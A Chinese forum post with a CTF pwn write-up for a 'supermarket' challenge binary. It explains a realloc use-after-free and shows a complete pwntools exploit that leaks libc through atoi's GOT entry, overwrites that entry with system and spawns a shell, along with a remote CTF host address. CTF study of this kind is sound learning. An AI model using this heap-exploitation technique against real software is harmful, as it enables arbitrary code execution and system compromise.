吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4214|回复: 17
收起左侧

[CTF] pwn-uaf-逻辑题

  [复制链接]
HNHuangJingYU 发表于 2021-11-30 13:19
本帖最后由 HNHuangJingYU 于 2021-11-30 13:23 编辑

刚开始我也被这题绕晕了,做这种题要画图画图!!!不然很容易做着做着忘了自己做到哪里来了

本题环境是ubuntu16、glib2.23!!!我第一次做的时候用的ubuntu18也就是glib2.27这时有tcache freechunk的分配策略不一样死活跑不出来,这题我还要研究一下tcache版本的。

  1. 首先申请了一个不在fastbin范围(0x10~0x58)的chunk0,然后再申请一个随便大小的chunk1,解释:因为下面我将要用remalloc重新分配chun0,remalloc如果重新分配的chunk下面有其他chunk的话,就会丢弃原来位置的chunk并free它,然后在最后面再申请一个chunk你申请大于原size的chunk,这样就产生了一个free chunk,如果chunk0后面没有其他chunk的话就会原地扩充大小,并不会新产生一个chunk这样就没意义了,漏洞主要利用的就是free chunk

  2. 嗯上面说到的,然后我们进行relloca重新分配chunk0(为什么不是chunk1上面解释了),执行后原来chunk0(size = 0x80)的chunk就会变为free chunk,然后在依次内存申请一个你relloca大小的chunk如图:

    image.png

  3. 那么realloc后的残余chunk的指针没有被置空,且现在是一块free chunk,那不就是等着被我宰割的chunk吗,那么我再重新malloc一块真实大小小于0x88的chunk2那么它就会被我拿过来,然后我通过我新malloc的指针去控制它,实现双重控制,因为我的环境是ubuntu16(glibc2.23)所以它是一块unsortbin这时我新申请的chunk2就会去分割这个unsortbin。好,怎么分割呢?因为我调用add函数时,程序会先自己切割0x1c(实际大小0x20)大小的chunk给自己当类似结构体的chunk,然后假设我们chunk2申请的大小为0x20(实际大小0x28)那么它就会再从刚才被切个掉0x20大小的剩余chunk里面再切掉0x28的空间作为我chunk2->description[2] (0x28),那么此时的空间是这样的如图:

image.png

理解图:

image.png

  1. 此时并没有结束,chunk2只是修改了chunk0->desc 只会让chunk0的desc内容变化,为什么呢?因为前面realloc(chun0)的后产生的新地址并没有去接收并使用新指针源代码如图:。所以原来的chunk0->description还是指向原来的地址,这就和malloca->free后没有置空指针一样的效果,题目作者还真是关闭了一扇门打开了一扇窗。然而改变chunk0的desc内容并没什么用,我们要控制的是chunk结构体的malloc指针将它改为got表地址,从而打印除got表的值(注意!我们要得到的是got表地址里的内存值,这个值才能泄漏libc)

image.png

  1. 好!重点来了,现在chunk2的结构是 chunk0->desc ----指向---> chunk2->decs,因为上面realloc(chun0)后没有重新接收新内存的指针导致还是指向原地,但是这时原地的内存现在已经重新分配给chunk2的类似结构体的chunk,因为它首先程序默认申请了0x1c大小(实际大小0x20)的chunk那么原chunk0->desc的大小就变成了0x20(但是chunk0->desc还是以为它拥有之前很大一块的内存因为还是指向原地的原因),,,,正因为没有进行更新指针,且realloc后程序还提供了description内容修改操作(这个description的内容长度是由我们的重新realloc的大小决定的)所以我们在修改chunk0->desc的内容也是在修改chunk2的结构体chunk,那么原来0x1c大小的chunk空间只能输入name(0x10)+price(0x4)+descrip_size(0x4)的空间如图:,现在由我们控制空间大小了,那么就可以写入name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)以达到覆盖原malloc指针的位置了从而达到调用got表的目的。

image.png

  1. 那么此时我们再进行realloc(chunk0),并重新写入数据,这时就是在修改chun2的结构体chunk了,那么我们数据的格式就因该是name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)这样那么就是长度就是0x1c所以就只至少申请0x1c大小的chunk此时chunk0->desc指向原地还是以为自己有0x80的大小所以我们realloc(chun0,0x1c)的内存并不会导致它重新分配,,,,,,额,其实现在已经不重要了,因为就算重新分配了后变成了free chunk 但是我们写入的数据还是写入到了free chunk,而chunk0-desc还是指向这块free chunk并从中读取内容如图:(这个图里面的把got地址去掉了,实际只存入了0x1c-0x4的内容)

image.png

当我存入got地址后如图:

image.png

image.png

这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错,反正是为了得到shell,程序这里就坏了

  1. 到现在我们已经拿到libc的地址,那么就也意味着拿到了system()地址,好,上面说到申请的chun2其实的结构体chun2就是从chun0(0x80)丢弃的free chunk里面切割出来的0x20,chun2就是切割出来的0x28上面的图如下:

image.png

此时chunk2的实际结构示意如图:

image.png

经过上面的泄漏地址的数据填充,那么chun2的结构如图:

image.png

因为程序中有的结构体chunk与chunk-desc有一个指针指向关系,所以我们将atoi@got->value改为system@got->value就实现了任意地址改。

函数调用大概是这一个关系例如(atoi):

 call atoi@plt(0x80485C0) 
 jmp  atoi@got(0x804b048) ---value--> 0xf7d4f260
 而got表下面的值才是atoi的真正地址,也只有它才可以进行libc泄漏
  1. 回到程序还差最后一步,是不是只要修改chun2->desc的值为system函数,然年在调用atoi函数时输入'sh'就可以getshell了,所以我们在编辑一下chunk2的desc内容,这里要注意的是,因为我们操作了free chunk 而程序也进行了对free chunk调用造成了堆空间混乱,所以我们不能变换之前申请的大小,不然就会就会调用realloc函数从而导致程序崩溃,源代码如图:

image.png

所以题目就分析完了,最后的exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context.arch = 'i386'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'i386')

binary = "./supermarket"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("47.108.195.119","20113")
    e = ELF(binary)
    #libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def dbg():
 gdb.attach(p)
 pause()

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)

def add(name,price,descrip_size,description):
    sla('your choice>>','1')
    sla('name:',name)
    sla('price:',price)
    sla('descrip_size:',descrip_size)
    sla('description:',description)

def delete(name):
    sla('your choice>>','2')
    sla('name:',name)

def show():
    sla('your choice>>','3')

def c_price(name,rides_price):
    sla('your choice>>','4')
    sla('name:',name)
    sla('input the value you want to cut or rise in:',rides_price)

def c_desc(name,descrip_size,description):
    sla('your choice>>','5')
    sla('name:',name)
    sla('descrip_size:',descrip_size)
    sla('description:',description)

#start
got=e.got["atoi"]
add('0','10',str(0x80),'AAAAAAAA') #add的size没有实际作用,所以可以用来区分我的chunk,以便观察堆空间
add('1','20',str(0x20),'BBBBBBBB')
#pause()

c_desc('0',str(0x90),'')
#pause()

add('2','30',str(0x20),'CCCCCCCC')
#pause()

payload =  b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(got)
#payload =  b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + b''#test payloa
success('len',len(payload))
c_desc('0',str(0x90),payload) #这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错
show()
#pause()

ru('2: price.20, des.')
atoi_addr = uu32(rc(4))
success('atoi addr -> ',atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
success('libc_base addr',libc_base)
#pause()

c_desc('2',str(0x20),p32(libc_base + libc.symbols['system'])) #这里的size必须和上面payload的size一样,保证不触发malloc
sla('your choice>>','sh')
#pause()

it()

在这里apoi函数是最好利用的,其实也不一定要这个函数,这个程序中strlen也是可以利用的但是在使用它的时候还没初始化,这里说一下,以防忘记这个函数

这题的理解图我放在附件上面

免费评分

参与人数 11威望 +2 吾爱币 +110 热心值 +10 收起 理由
aaccwoaipojie + 1 + 1 我很赞同!师傅强
机制呆萌的我 + 1 + 1 用心讨论,共获提升!
mingan2001 + 1 谢谢@Thanks!
sunlei658 + 1 + 1 谢谢@Thanks!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
kkrunner + 1 热心回复!
lee0609 + 1 + 1 厉害
Lucifer_BW + 1 + 1 热心回复!
努力加载中 + 1 + 1 热心回复!
唐小样儿 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| HNHuangJingYU 发表于 2021-12-2 20:04

哪里不懂,是我表述有问题吗?还是我忽略了哪些知识点
 楼主| HNHuangJingYU 发表于 2021-11-30 13:27
图形文件在蓝奏:https://www.lanzouw.com/iNv7Qx1to7e 密码:4vzh
wblank 发表于 2021-12-1 08:27
景水深流 发表于 2021-12-1 15:01
谢谢!有些看不懂
happyjelly 发表于 2021-12-1 17:26
不错,大概理解了
中原一点红 发表于 2021-12-1 20:01
小白是看不懂...不过还是感谢分享
oracle3000 发表于 2021-12-2 10:04
学习一下,感谢分享
squab 发表于 2021-12-7 14:58
厉害了,学习学习
bul3 发表于 2021-12-10 13:04
学习了,谢谢大佬
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 11:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表